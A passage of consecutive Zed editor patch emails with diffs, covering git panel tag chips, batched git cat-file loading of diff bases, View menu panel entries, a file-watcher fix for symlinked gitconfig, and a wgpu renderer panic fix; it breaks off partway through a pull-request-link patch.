         let remote = self.git_remote(cx);
 
@@ -5921,10 +5956,11 @@ impl GitPanel {
 
                             let visible_data: Vec<Option<Arc<CommitData>>> = repo_weak
                                 .update(cx, |repository, cx| {
-                                    shas[range.clone()]
+                                    entries[range.clone()]
                                         .iter()
-                                        .map(|sha| {
-                                            match repository.fetch_commit_data(*sha, false, cx) {
+                                        .map(|entry| {
+                                            match repository.fetch_commit_data(entry.sha, false, cx)
+                                            {
                                                 CommitDataState::Loaded(data) => Some(data.clone()),
                                                 CommitDataState::Loading(_) => None,
                                             }
@@ -5933,16 +5969,17 @@ impl GitPanel {
                                 })
                                 .unwrap_or_default();
 
-                            shas[range.clone()]
+                            entries[range.clone()]
                                 .iter()
                                 .zip(visible_data)
                                 .enumerate()
-                                .map(|(ix, (sha, data))| {
+                                .map(|(ix, (entry, data))| {
                                     let index = range.start + ix;
-                                    let sha_string = sha.to_string();
+                                    let sha_string = entry.sha.to_string();
                                     let sha_shared: SharedString = sha_string.clone().into();
                                     let short_sha: SharedString =
                                         sha_string[..7.min(sha_string.len())].to_string().into();
+                                    let tag_names = entry.tag_names.clone();
 
                                     let (subject, author_name, author_email, timestamp): (
                                         SharedString,
@@ -6017,7 +6054,42 @@ impl GitPanel {
                                             h_flex()
                                                 .gap_1()
                                                 .w_full()
+                                                .min_w_0()
                                                 .child(Label::new(subject).truncate())
+                                                .children((!tag_names.is_empty()).then(|| {
+                                                    let hidden_tag_count = tag_names
+                                                        .len()
+                                                        .saturating_sub(MAX_HISTORY_TAG_CHIPS);
+                                                    h_flex()
+                                                        .gap_1()
+                                                        .min_w_0()
+                                                        .children(
+                                                            tag_names
+                                                                .iter()
+                                                                .take(MAX_HISTORY_TAG_CHIPS)
+                                                                .cloned()
+                                                                .map(|tag_name| {
+                                                                    Chip::new(tag_name.clone())
+                                                                        .truncate()
+                                                                        .tooltip(Tooltip::text(
+                                                                            tag_name,
+                                                                        ))
+                                                                }),
+                                                        )
+                                                        .when(hidden_tag_count > 0, |this| {
+                                                            let hidden_tag_names = tag_names
+                                                                [MAX_HISTORY_TAG_CHIPS..]
+                                                                .join(", ");
+                                                            this.child(
+                                                                Chip::new(format!(
+                                                                    "+{hidden_tag_count}"
+                                                                ))
+                                                                .tooltip(Tooltip::text(
+                                                                    hidden_tag_names,
+                                                                )),
+                                                            )
+                                                        })
+                                                }))
                                                 .when(is_unpushed, |this| {
                                                     this.child(
                                                         Icon::new(IconName::ArrowUp)

From bc29bcfe728e3ce158f36b6a1b15f3dff667fe02 Mon Sep 17 00:00:00 2001
From: Lukas Geiger <lukas.geiger94@gmail.com>
Date: Tue, 7 Jul 2026 15:02:31 +0100
Subject: [PATCH 314/772] git: Load buffer git diff bases with a single batched
 git process (#59357)

# Objective

Whenever the git repository state is updated on disk (e.g., via staging,
committing, branch switching, or stashing), `reload_buffer_diff_bases`
is scheduled to reload the diff for all active buffers. This causes 2
git processes to be spawned for each open file which can become
noticeable when many files are open

https://github.com/zed-industries/zed/blob/5e32405669d0470baec345073dafffb552a18bae/crates/project/src/git_store.rs#L5179

## Solution

This PR introduces `load_revisions` which uses a single `git cat-file
--batch` command to compute the diff for all files in the same git
process. This prevents the need to sequentially schedule 2 git
subprocesses per open buffer.

I also changed `load_index_text` and `load_commited_text` to rely on
`load_revisions` which simplifies the code.

## Testing

I added a unittest and manually verified that Zed now only runs a single
`git cat-file --batch` command instead of 2 `git show` processes per
open buffer.
On macOS I viewed the currently running git processes using:
```shell
sudo eslogger exec | jq --unbuffered -r '
    select(.event.exec?.target?.executable?.path? | strings | contains("git")) |
    (.event.exec?.args? // []) | join(" ")
  '
```

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

/cc @Veykril

Release Notes:

- Reduced number of git processes for calculating diff of open buffers
when the repo state changes on disk
---
 crates/fs/src/fake_git_repo.rs  |  40 +++---
 crates/git/src/repository.rs    | 212 +++++++++++++++++++++++++-------
 crates/project/src/git_store.rs |  55 ++++++---
 3 files changed, 222 insertions(+), 85 deletions(-)

diff --git a/crates/fs/src/fake_git_repo.rs b/crates/fs/src/fake_git_repo.rs
index 45ee57b35f5ce6..ba23efb166b56a 100644
--- a/crates/fs/src/fake_git_repo.rs
+++ b/crates/fs/src/fake_git_repo.rs
@@ -162,28 +162,6 @@ impl FakeGitRepository {
 }
 
 impl GitRepository for FakeGitRepository {
-    fn load_index_text(&self, path: RepoPath) -> BoxFuture<'_, Option<String>> {
-        let fut = self.with_state_async(false, move |state| {
-            state
-                .index_contents
-                .get(&path)
-                .context("not present in index")
-                .cloned()
-        });
-        self.executor.spawn(async move { fut.await.ok() }).boxed()
-    }
-
-    fn load_committed_text(&self, path: RepoPath) -> BoxFuture<'_, Option<String>> {
-        let fut = self.with_state_async(false, move |state| {
-            state
-                .head_contents
-                .get(&path)
-                .context("not present in HEAD")
-                .cloned()
-        });
-        self.executor.spawn(async move { fut.await.ok() }).boxed()
-    }
-
     fn load_commit_template(&self) -> BoxFuture<'_, Result<Option<GitCommitTemplate>>> {
         async { Ok(None) }.boxed()
     }
@@ -264,6 +242,24 @@ impl GitRepository for FakeGitRepository {
         })
     }
 
+    fn load_revisions(&self, revisions: Vec<String>) -> BoxFuture<'_, Result<Vec<Option<String>>>> {
+        let fut = self.with_state_async(false, move |state| {
+            Ok(revisions
+                .into_iter()
+                .map(|rev| {
+                    let (prefix, path) = rev.split_once(':')?;
+                    let repo_path = RepoPath::new(path).ok()?;
+                    match prefix {
+                        "" => state.index_contents.get(&repo_path).cloned(),
+                        "HEAD" => state.head_contents.get(&repo_path).cloned(),
+                        _ => None,
+                    }
+                })
+                .collect())
+        });
+        self.executor.spawn(fut).boxed()
+    }
+
     fn show(&self, commit: String) -> BoxFuture<'_, Result<CommitDetails>> {
         self.with_state_async(false, move |state| {
             let sha = state.refs.get(&commit).cloned().unwrap_or(commit);
diff --git a/crates/git/src/repository.rs b/crates/git/src/repository.rs
index 2951a84b090c01..6c88ee4e688336 100644
--- a/crates/git/src/repository.rs
+++ b/crates/git/src/repository.rs
@@ -801,12 +801,18 @@ pub trait GitRepository: Send + Sync {
     /// Returns the contents of an entry in the repository's index, or None if there is no entry for the given path.
     ///
     /// Also returns `None` for symlinks.
-    fn load_index_text(&self, path: RepoPath) -> BoxFuture<'_, Option<String>>;
+    fn load_index_text(&self, path: RepoPath) -> BoxFuture<'_, Option<String>> {
+        let future = self.load_revisions(vec![format!(":{}", path.as_unix_str())]);
+        async move { future.await.ok()?.pop()? }.boxed()
+    }
 
     /// Returns the contents of an entry in the repository's HEAD, or None if HEAD does not exist or has no entry for the given path.
     ///
     /// Also returns `None` for symlinks.
-    fn load_committed_text(&self, path: RepoPath) -> BoxFuture<'_, Option<String>>;
+    fn load_committed_text(&self, path: RepoPath) -> BoxFuture<'_, Option<String>> {
+        let future = self.load_revisions(vec![format!("HEAD:{}", path.as_unix_str())]);
+        async move { future.await.ok()?.pop()? }.boxed()
+    }
     fn load_blob_content(&self, oid: Oid) -> BoxFuture<'_, Result<String>>;
 
     fn set_index_text(
@@ -830,6 +836,8 @@ pub trait GitRepository: Send + Sync {
     /// Resolve a list of refs to SHAs.
     fn revparse_batch(&self, revs: Vec<String>) -> BoxFuture<'_, Result<Vec<Option<String>>>>;
 
+    fn load_revisions(&self, revisions: Vec<String>) -> BoxFuture<'_, Result<Vec<Option<String>>>>;
+
     fn head_sha(&self) -> BoxFuture<'_, Option<String>> {
         async move {
             self.revparse_batch(vec!["HEAD".into()])
@@ -1585,47 +1593,6 @@ impl GitRepository for RealGitRepository {
         .boxed()
     }
 
-    fn load_index_text(&self, path: RepoPath) -> BoxFuture<'_, Option<String>> {
-        let git_binary = self.git_binary();
-        let path_str = format!(":{}", path.as_unix_str());
-        self.executor
-            .spawn(async move {
-                let git = git_binary;
-                let output = git
-                    .build_command(&["show", &path_str])
-                    .stdout(Stdio::piped())
-                    .stderr(Stdio::piped())
-                    .output()
-                    .await
-                    .log_err()?;
-                if !output.status.success() {
-                    return None;
-                }
-                String::from_utf8(output.stdout).ok()
-            })
-            .boxed()
-    }
-
-    fn load_committed_text(&self, path: RepoPath) -> BoxFuture<'_, Option<String>> {
-        let git = self.git_binary();
-        let path_str = format!("HEAD:{}", path.as_unix_str());
-        self.executor
-            .spawn(async move {
-                let output = git
-                    .build_command(&["show", &path_str])
-                    .stdout(Stdio::piped())
-                    .stderr(Stdio::piped())
-                    .output()
-                    .await
-                    .log_err()?;
-                if !output.status.success() {
-                    return None;
-                }
-                String::from_utf8(output.stdout).ok()
-            })
-            .boxed()
-    }
-
     fn load_blob_content(&self, oid: Oid) -> BoxFuture<'_, Result<String>> {
         let git_binary = self.git_binary();
         let oid_str = oid.to_string();
@@ -1801,6 +1768,68 @@ impl GitRepository for RealGitRepository {
             .boxed()
     }
 
+    fn load_revisions(&self, revisions: Vec<String>) -> BoxFuture<'_, Result<Vec<Option<String>>>> {
+        let git = self.git_binary();
+        self.executor
+            .spawn(async move {
+                if revisions.is_empty() {
+                    return Ok(Vec::new());
+                }
+
+                let mut process = git
+                    .build_command(&["cat-file", "--batch"])
+                    .stdin(Stdio::piped())
+                    .stdout(Stdio::piped())
+                    .stderr(Stdio::piped())
+                    .kill_on_drop(true)
+                    .spawn()?;
+
+                let mut stdin = BufWriter::new(process.stdin.take().context("no stdin")?);
+                let mut stdout = BufReader::new(process.stdout.take().context("no stdout")?);
+                let mut newline = [0u8; 1];
+
+                let mut header_bytes = Vec::new();
+                let mut results = Vec::with_capacity(revisions.len());
+                for rev in &revisions {
+                    stdin.write_all(rev.as_bytes()).await?;
+                    stdin.write_all(b"\n").await?;
+                    stdin.flush().await?;
+
+                    header_bytes.clear();
+                    stdout.read_until(b'\n', &mut header_bytes).await?;
+                    let header_line = String::from_utf8_lossy(&header_bytes);
+
+                    let parts: Vec<&str> = header_line.trim().split(' ').collect();
+                    match parts[..] {
+                        [.., "missing"] => {
+                            results.push(None);
+                        }
+                        [_, object_type, size_str] => {
+                            let size: usize = size_str
+                                .parse()
+                                .with_context(|| format!("invalid object size: {size_str}"))?;
+
+                            let mut content = vec![0u8; size];
+                            stdout.read_exact(&mut content).await?;
+                            stdout.read_exact(&mut newline).await?;
+
+                            if object_type == "blob" {
+                                results.push(String::from_utf8(content).ok());
+                            } else {
+                                results.push(None);
+                            }
+                        }
+                        _ => bail!("invalid cat-file header: {header_line}"),
+                    }
+                }
+
+                drop(stdin);
+                process.output().await?;
+                Ok(results)
+            })
+            .boxed()
+    }
+
     fn merge_message(&self) -> BoxFuture<'_, Option<String>> {
         let path = self.path().join("MERGE_MSG");
         self.executor
@@ -4709,6 +4738,103 @@ mod tests {
         // );
     }
 
+    #[gpui::test]
+    async fn test_load_revisions(cx: &mut TestAppContext) {
+        disable_git_global_config();
+        cx.executor().allow_parking();
+
+        let repo_dir = tempfile::tempdir().unwrap();
+        git_init_repo(repo_dir.path());
+
+        let file1_path = repo_dir.path().join("file1");
+        let file2_path = repo_dir.path().join("file2");
+        let space_file_path = repo_dir.path().join("file with spaces");
+
+        smol::fs::write(&file1_path, "file1 committed contents")
+            .await
+            .unwrap();
+        smol::fs::write(&file2_path, "file2 committed contents")
+            .await
+            .unwrap();
+        smol::fs::write(&space_file_path, "space file committed contents")
+            .await
+            .unwrap();
+
+        let repo = RealGitRepository::new(
+            &repo_dir.path().join(".git"),
+            None,
+            Some("git".into()),
+            cx.executor(),
+        )
+        .unwrap();
+
+        // Stage files and commit
+        repo.stage_paths(
+            vec![
+                repo_path("file1"),
+                repo_path("file2"),
+                repo_path("file with spaces"),
+            ],
+            Arc::new(HashMap::default()),
+        )
+        .await
+        .unwrap();
+        repo.commit(
+            "Initial commit".into(),
+            None,
+            CommitOptions::default(),
+            AskPassDelegate::new(&mut cx.to_async(), |_, _, _| {}),
+            Arc::new(test_commit_envs()),
+        )
+        .await
+        .unwrap();
+
+        // Now modify files in index but not yet committed
+        smol::fs::write(&file1_path, "file1 index contents")
+            .await
+            .unwrap();
+        repo.stage_paths(vec![repo_path("file1")], Arc::new(HashMap::default()))
+            .await
+            .unwrap();
+
+        // Write working tree contents (not indexed, not committed)
+        smol::fs::write(&file1_path, "file1 worktree contents")
+            .await
+            .unwrap();
+
+        // Now test load_revisions
+        let results = repo
+            .load_revisions(
+                [
+                    "HEAD:file1",
+                    ":file1",
+                    "HEAD:file2",
+                    ":file2",
+                    "HEAD:nonexistent",
+                    "HEAD:file with spaces",
+                    "HEAD:nonexistent file with spaces",
+                ]
+                .into_iter()
+                .map(String::from)
+                .collect(),
+            )
+            .await
+            .unwrap();
+
+        assert_eq!(
+            results,
+            vec![
+                Some("file1 committed contents".into()),
+                Some("file1 index contents".into()),
+                Some("file2 committed contents".into()),
+                Some("file2 committed contents".into()), // untouched in index, should match HEAD
+                None,
+                Some("space file committed contents".into()),
+                None,
+            ]
+        );
+    }
+
     #[gpui::test]
     async fn test_checkpoint_empty_repo(cx: &mut TestAppContext) {
         disable_git_global_config();
diff --git a/crates/project/src/git_store.rs b/crates/project/src/git_store.rs
index 74efd3f0c8672e..6bf3fb85005905 100644
--- a/crates/project/src/git_store.rs
+++ b/crates/project/src/git_store.rs
@@ -5670,26 +5670,36 @@ impl Repository {
 
                 let buffer_diff_base_changes = cx
                     .background_spawn(async move {
+                        let mut revisions = Vec::new();
+                        for (_, repo_path, is_symlink, current_index_text, current_head_text) in
+                            &repo_diff_state_updates
+                        {
+                            if current_index_text.is_some() && !*is_symlink {
+                                revisions.push(format!(":{}", repo_path.as_unix_str()));
+                            }
+                            if current_head_text.is_some() && !*is_symlink {
+                                revisions.push(format!("HEAD:{}", repo_path.as_unix_str()));
+                            }
+                        }
+
+                        let mut loaded_revisions = backend
+                            .load_revisions(revisions)
+                            .await
+                            .log_err()
+                            .into_iter()
+                            .flatten();
+
                         let mut changes = Vec::new();
-                        for (
-                            buffer,
-                            repo_path,
-                            is_symlink,
-                            current_index_text,
-                            current_head_text,
-                        ) in &repo_diff_state_updates
+                        for (buffer, _, is_symlink, current_index_text, current_head_text) in
+                            &repo_diff_state_updates
                         {
-                            let index_text = if current_index_text.is_some() && !*is_symlink {
-                                backend.load_index_text(repo_path.clone())
-                            } else {
-                                future::ready(None).boxed()
-                            };
-                            let head_text = if current_head_text.is_some() && !*is_symlink {
-                                backend.load_committed_text(repo_path.clone())
-                            } else {
-                                future::ready(None).boxed()
-                            };
-                            let (index_text, head_text) = future::join(index_text, head_text).await;
+                            let index_text = (current_index_text.is_some() && !*is_symlink)
+                                .then(|| loaded_revisions.next().flatten())
+                                .flatten();
+
+                            let head_text = (current_head_text.is_some() && !*is_symlink)
+                                .then(|| loaded_revisions.next().flatten())
+                                .flatten();
 
                             let change =
                                 match (current_index_text.as_ref(), current_head_text.as_ref()) {
@@ -8996,8 +9006,13 @@ impl Repository {
         let rx = self.send_job("load_committed_text", None, move |state, _| async move {
             match state {
                 RepositoryState::Local(LocalRepositoryState { backend, .. }) => {
-                    let committed_text = backend.load_committed_text(repo_path.clone()).await;
-                    let staged_text = backend.load_index_text(repo_path).await;
+                    let revisions = vec![
+                        format!("HEAD:{}", repo_path.as_unix_str()),
+                        format!(":{}", repo_path.as_unix_str()),
+                    ];
+                    let mut loaded_revisions = backend.load_revisions(revisions).await?.into_iter();
+                    let committed_text = loaded_revisions.next().flatten();
+                    let staged_text = loaded_revisions.next().flatten();
                     let diff_bases_change = if committed_text == staged_text {
                         DiffBasesChange::SetBoth(committed_text)
                     } else {

From 3cbe4c298e78d57b88b2b308951405752d6dc3ad Mon Sep 17 00:00:00 2001
From: Dino <dinojoaocosta@gmail.com>
Date: Tue, 7 Jul 2026 15:38:47 +0100
Subject: [PATCH 315/772] Add missing panels to View menu (#60356)

# Objective

Ensure that all existing panels have corresponding menu items in the
"View" menu. I was onboarding a friend to Zed yesterday that was having
a hard time figuring out how to interact with the Agent. Although he did
open the "View" menu, I noticed that the Agent panel item was missing
from there, making it hard for new users to discover it exists.

## Solution

* Add both "Agent Panel" and "Git Panel" entries to the menu items for
the "View" app menu.
* Update the action used for the "Terminal Panel" menu item from
`terminal_panel::ToggleFocus` to `terminal_panel::Toggle` to ensure we
display a shortcut for this menu item.
* Another valid option would be to update the default keymap to use
`terminal_panel::ToggleFocus` instead but that would probably break
existing user's expectations that the default shortcut toggles the
terminal panel, instead of toggling its focus.
* Introduce `zed_actions::git_panel` to be able to extract its
`ToggleFocus` action, following the existing pattern.

### Next Steps

It's worth noting that, even though there's now an "Agent Panel" item
mapped to the `assistant::ToggleFocus` action, its default keybinding is
not displayed (at least on macOS), because of the way it's defined as
`cmd-?` . Using `cmd-shift-/` instead doesn't work, so we'll likely have
to update `MacKeyboardMapper` to allow mapping between shifted and
unshifted keys equivalent, that is, when `?` is detected, it is able to
determine that, in the user's layout that is the result of `shift-/`.

## Testing

Manually tested, screenshots can be seen in the "Showcase" section.

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [ ] Unsafe blocks (if any) have justifying comments
- [ ] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [ ] Tests cover the new/changed behavior
- [ ] Performance impact has been considered and is acceptable

## Showcase

<details>
  <summary>Before</summary>

<img width="488" height="946" alt="CleanShot 2026-07-03 at 14 24 35@2x"
src="https://github.com/user-attachments/assets/58b0497c-2929-4da3-86b6-a2e0ce0c5ca4"
/>

</details>

<details>
  <summary>After</summary>

<img width="524" height="1116" alt="CleanShot 2026-07-03 at 14 24 59@2x"
src="https://github.com/user-attachments/assets/8e2c6320-97ad-4620-b595-182f6d0ded81"
/>

</details>

---

Release Notes:

- Added "Agent Panel" and "Git Panel" items to the "View" menu
---
 crates/git_ui/src/git_panel.rs  |  6 +++---
 crates/zed/src/zed/app_menus.rs | 10 +++++-----
 crates/zed_actions/src/lib.rs   | 12 ++++++++++++
 3 files changed, 20 insertions(+), 8 deletions(-)

diff --git a/crates/git_ui/src/git_panel.rs b/crates/git_ui/src/git_panel.rs
index 590efaca2b74ff..d20065cc6ca312 100644
--- a/crates/git_ui/src/git_panel.rs
+++ b/crates/git_ui/src/git_panel.rs
@@ -93,7 +93,9 @@ use workspace::{
     dock::{DockPosition, Panel, PanelEvent},
     notifications::{DetachAndPromptErr, NotificationId, NotifyTaskExt},
 };
-use zed_actions::{DecreaseBufferFontSize, IncreaseBufferFontSize, ResetBufferFontSize};
+use zed_actions::{
+    DecreaseBufferFontSize, IncreaseBufferFontSize, ResetBufferFontSize, git_panel::ToggleFocus,
+};
 
 const GIT_PANEL_KEY: &str = "GitPanel";
 const UPDATE_DEBOUNCE: Duration = Duration::from_millis(50);
@@ -110,8 +112,6 @@ actions!(
         Close,
         /// Toggles the git panel.
         Toggle,
-        /// Toggles focus on the git panel.
-        ToggleFocus,
         /// Opens the git panel menu.
         OpenMenu,
         /// Focuses on the commit message editor.
diff --git a/crates/zed/src/zed/app_menus.rs b/crates/zed/src/zed/app_menus.rs
index 29a06747f9e4bb..bb1f3ee7aa1c1a 100644
--- a/crates/zed/src/zed/app_menus.rs
+++ b/crates/zed/src/zed/app_menus.rs
@@ -2,11 +2,9 @@ use collab_ui::collab_panel;
 use gpui::{App, Menu, MenuItem, OsAction};
 use release_channel::ReleaseChannel;
 use terminal_view::terminal_panel;
-use zed_actions::{debug_panel, dev};
+use zed_actions::{Quit, assistant, debug_panel, dev, git_panel, project_panel};
 
 pub fn app_menus(cx: &mut App) -> Vec<Menu> {
-    use zed_actions::Quit;
-
     let mut view_items = vec![
         MenuItem::action(
             "Zoom In",
@@ -40,11 +38,13 @@ pub fn app_menus(cx: &mut App) -> Vec<Menu> {
             ],
         }),
         MenuItem::separator(),
-        MenuItem::action("Project Panel", zed_actions::project_panel::ToggleFocus),
+        MenuItem::action("Project Panel", project_panel::ToggleFocus),
         MenuItem::action("Outline Panel", outline_panel::ToggleFocus),
         MenuItem::action("Collab Panel", collab_panel::ToggleFocus),
-        MenuItem::action("Terminal Panel", terminal_panel::ToggleFocus),
+        MenuItem::action("Terminal Panel", terminal_panel::Toggle),
         MenuItem::action("Debugger Panel", debug_panel::ToggleFocus),
+        MenuItem::action("Agent Panel", assistant::ToggleFocus),
+        MenuItem::action("Git Panel", git_panel::ToggleFocus),
         MenuItem::separator(),
         MenuItem::action("Diagnostics", diagnostics::Deploy),
         MenuItem::separator(),
diff --git a/crates/zed_actions/src/lib.rs b/crates/zed_actions/src/lib.rs
index c70e8d3273cd30..12b34def15c87f 100644
--- a/crates/zed_actions/src/lib.rs
+++ b/crates/zed_actions/src/lib.rs
@@ -947,3 +947,15 @@ pub mod notebook {
         ]
     );
 }
+
+pub mod git_panel {
+    use gpui::actions;
+
+    actions!(
+        git_panel,
+        [
+            /// Toggles focus on the git panel.
+            ToggleFocus,
+        ]
+    );
+}

From 5a7d414a23938c5efb674d0c2948813e37448eea Mon Sep 17 00:00:00 2001
From: Adrian Wowk <dev@adrianwowk.com>
Date: Tue, 7 Jul 2026 11:26:30 -0500
Subject: [PATCH 316/772] fs: Skip parent watch for poll watcher symlink
 targets (#57049)

# Problem

Since the release of the new git UI, when `~/.gitconfig` on a remote
server is a symlink pointing to a file on a virtual filesystem (a common
setup when using [OrbStack](https://orbstack.dev/) on macOS), Zed fails
to connect with "Timed out pinging remote client".

# Cause

When setting up a file watcher for gitconfig, `fs::watch()` reads the
symlink target and adds its parent directory to the poll watcher.
`notify::PollWatcher::watch()` does a full synchronous recursive
directory scan at registration time to build an initial snapshot. If the
parent is something like a Mac home directory mounted via virtiofs, that
scan blocks the server's main thread long enough that it can't respond
to the initial ping within the 5 second timeout.

# Solution

The fix I implemented for this was to skip the parent directory watch
when using a poll watcher. As far as I can tell, it's redundant in the
poll case since the poll watcher detects changes by periodically reading
metadata at the registered path, so watching the parent doesn't add
anything for change detection. From my limited testing this seems to
work fine but if someone with more experience in this part of the
codebase would like to weigh in, that would be very much appreciated.

Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [ ] Unsafe blocks (if any) have justifying comments
- [ ] The content is consistent with the [UI/UX
checklist](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
- [ ] Tests cover the new/changed behavior
- [ ] Performance impact has been considered and is acceptable

Release Notes:

- Fixed remote SSH connections timing out when `~/.gitconfig` is a
symlink to a file on a virtual filesystem
---
 crates/fs/src/fs.rs         |  6 ++++-
 crates/fs/src/fs_watcher.rs | 50 +++++++++++++++++++++++++++++++++++++
 2 files changed, 55 insertions(+), 1 deletion(-)

diff --git a/crates/fs/src/fs.rs b/crates/fs/src/fs.rs
index 4c4a39122630e9..ec75be0180e9e2 100644
--- a/crates/fs/src/fs.rs
+++ b/crates/fs/src/fs.rs
@@ -1091,7 +1091,11 @@ impl Fs for RealFs {
                 }
             }
             watcher.add(&target).ok();
-            if let Some(parent) = target.parent() {
+            // Skipped for poll watchers: PollWatcher::watch() recursively scans
+            // at registration, blocking on large virtual filesystem mounts
+            if let Some(parent) = target.parent()
+                && !fs_watcher::requires_poll_watcher(parent)
+            {
                 watcher.add(parent).log_err();
             }
         }
diff --git a/crates/fs/src/fs_watcher.rs b/crates/fs/src/fs_watcher.rs
index 4fc663809547de..016d4ca20f3ea4 100644
--- a/crates/fs/src/fs_watcher.rs
+++ b/crates/fs/src/fs_watcher.rs
@@ -1245,6 +1245,56 @@ mod tests {
         assert_eq!(backend.unwatch_calls, &[parent.to_path_buf()]);
     }
 
+    #[gpui::test]
+    async fn pending_path_is_registered_once_created(cx: &mut gpui::TestAppContext) {
+        let temp_dir = tempfile::tempdir().expect("create temp dir");
+        let path = temp_dir.path().join("file.txt");
+
+        let (tx, rx) = async_channel::unbounded();
+        let pending_path_events: Arc<Mutex<Vec<PathEvent>>> = Default::default();
+        let watcher = FsWatcher::new(cx.executor(), tx, pending_path_events.clone());
+
+        watcher
+            .add(&path)
+            .expect("add path that does not exist yet");
+        assert!(
+            watcher
+                .pending_registrations
+                .lock()
+                .contains_key(path.as_path())
+        );
+        assert!(watcher.registrations.lock().is_empty());
+
+        std::fs::write(&path, b"contents").expect("create path");
+
+        // poll_path_until_created stats the path on smol's blocking pool, which
+        // the deterministic executor cannot drive; park until the poll task
+        // signals the event channel.
+        cx.executor().allow_parking();
+        cx.executor().advance_clock(poll_interval());
+        rx.recv().await.expect("receive watcher event");
+
+        assert!(
+            !watcher
+                .pending_registrations
+                .lock()
+                .contains_key(path.as_path())
+        );
+        let case_insensitive = case_insensitive_path(&path);
+        let key = WatchKey::for_registration(SanitizedPath::new(&path), case_insensitive);
+        assert!(watcher.registrations.lock().contains_key(&key));
+
+        // poll_path_until_created also enqueues a Rescan for the same path, but
+        // enqueue_path_events -> util::extend_sorted dedups by path, so only Created survives.
+        assert_eq!(
+            pending_path_events.lock().clone(),
+            vec![PathEvent {
+                path: path.clone(),
+                kind: Some(PathEventKind::Created),
+            }]
+        );
+    }
+
     #[test]
     fn native_watch_limit_cools_down_subsequent_native_registrations() {
         let native_backend = Arc::new(Mutex::new(FakeWatchBackend {

From 56009f39bb916be80baace86919267cf0e09035c Mon Sep 17 00:00:00 2001
From: Philipp Schaffrath <philipp.schaffrath@gmail.com>
Date: Tue, 7 Jul 2026 18:52:35 +0200
Subject: [PATCH 317/772] gpui_wgpu: Fix wgpu renderer teardown panic (#60160)

# Objective

Opening and closing windows quickly on Linux could crash the renderer
with a `GPU resources not available` panic.

The `gpui_wgpu` renderer keeps its GPU resources in an `Option` that is
cleared when a window is torn down, and also while device-loss recovery
is pending. On Wayland the window's `Drop` releases those resources
synchronously but defers unregistering the surface to a later task, so a
compositor resize or transparency event can still reach the renderer in
that short gap. `update_drawable_size` and `update_transparency` assumed
the resources were always present and called an accessor that panics
when they are not.

I am not certain if there is a good case to reproduce this in zed, but I
had encountered it in my own GPUI app.

## Solution

Make `update_drawable_size` and `update_transparency` tolerate missing
GPU resources by skipping the surface reconfiguration instead of
panicking, matching how the rest of the renderer already guards this
state. The requested size and alpha mode are still recorded before the
guard, so they take effect if the renderer's resources are recreated,
for example after device-loss recovery.

## Testing

Tested on Linux with Wayland.

- Reproduced by opening and closing windows quickly, which previously
panicked with `GPU resources not available`. With this change the panic
no longer occurs. This was reproducible on a debug build or a weak/slow
device.

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [ ] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

---

Release Notes (not sure if worth mentioning):

- Fixed a crash that could occur when opening and closing windows
quickly on Linux

Co-authored-by: Mikayla Maki <mikayla@zed.dev>
---
 crates/gpui_wgpu/src/wgpu_renderer.rs | 8 ++++++--
 1 file changed, 6 insertions(+), 2 deletions(-)

diff --git a/crates/gpui_wgpu/src/wgpu_renderer.rs b/crates/gpui_wgpu/src/wgpu_renderer.rs
index 08f30dc0090d3a..587315debfa89b 100644
--- a/crates/gpui_wgpu/src/wgpu_renderer.rs
+++ b/crates/gpui_wgpu/src/wgpu_renderer.rs
@@ -962,7 +962,9 @@ impl WgpuRenderer {
             self.surface_config.height = clamped_height.max(1);
             let surface_config = self.surface_config.clone();
 
-            let resources = self.resources_mut();
+            let Some(resources) = self.resources.as_mut() else {
+                return;
+            };
 
             // Wait for any in-flight GPU work to complete before destroying textures
             if let Err(e) = resources.device.poll(wgpu::PollType::Wait {
@@ -1035,7 +1037,9 @@ impl WgpuRenderer {
             let surface_config = self.surface_config.clone();
             let path_sample_count = self.rendering_params.path_sample_count;
             let dual_source_blending = self.dual_source_blending;
-            let resources = self.resources_mut();
+            let Some(resources) = self.resources.as_mut() else {
+                return;
+            };
             resources
                 .surface
                 .configure(&resources.device, &surface_config);

From 8d932b0e0671645500b567cd474cb113085638fd Mon Sep 17 00:00:00 2001
From: Matt Van Horn <mvanhorn@users.noreply.github.com>
Date: Tue, 7 Jul 2026 10:14:37 -0700
Subject: [PATCH 318/772] git_ui: Use pull request link from push output in
 push toast (#60522)

## Summary

Fixes #60288 and #60454 .

After a push, the push toast's "Create Pull Request" button fails with
`Unsupported remote URL` when the repository's remote is not a plain,
recognized host. This restores the pre-#53913 behavior as a fallback:
use the create-PR/MR link that `git push` itself prints, and only build
a URL from the provider registry when the push output had no link.

## Why this matters

#53913 made the button always appear and changed `create_pull_request`
to reconstruct the PR URL from the remote via
`git::parse_git_remote_url` against the `GitHostingProviderRegistry`.
When the remote is not recognized, parsing returns `None` and the action
errors. This affects self-hosted GitLab/GitHub, an SSH-config host alias
like `git@personal:owner/repo` (the duplicate #60076), and any
non-standard host. Before #53913, the flow used the link git prints in
the push output, which works regardless of host, so this is a regression
for anyone not pushing to a plainly-recognized GitHub URL.

## Solution

`git push` prints a `remote:` line with the hosting provider's
create-PR/MR URL (GitHub: "Create a pull request for '\<branch>' on
GitHub by visiting:", GitLab: "To create a merge request for \<branch>,
visit:", Bitbucket: "Create pull request for \<branch>:"), and we
already hold the push `RemoteCommandOutput`.

- `remote_output.rs`: add `extract_pull_request_url`, which scans the
push stderr for the first `http(s)` URL on a `remote:` line tied to a
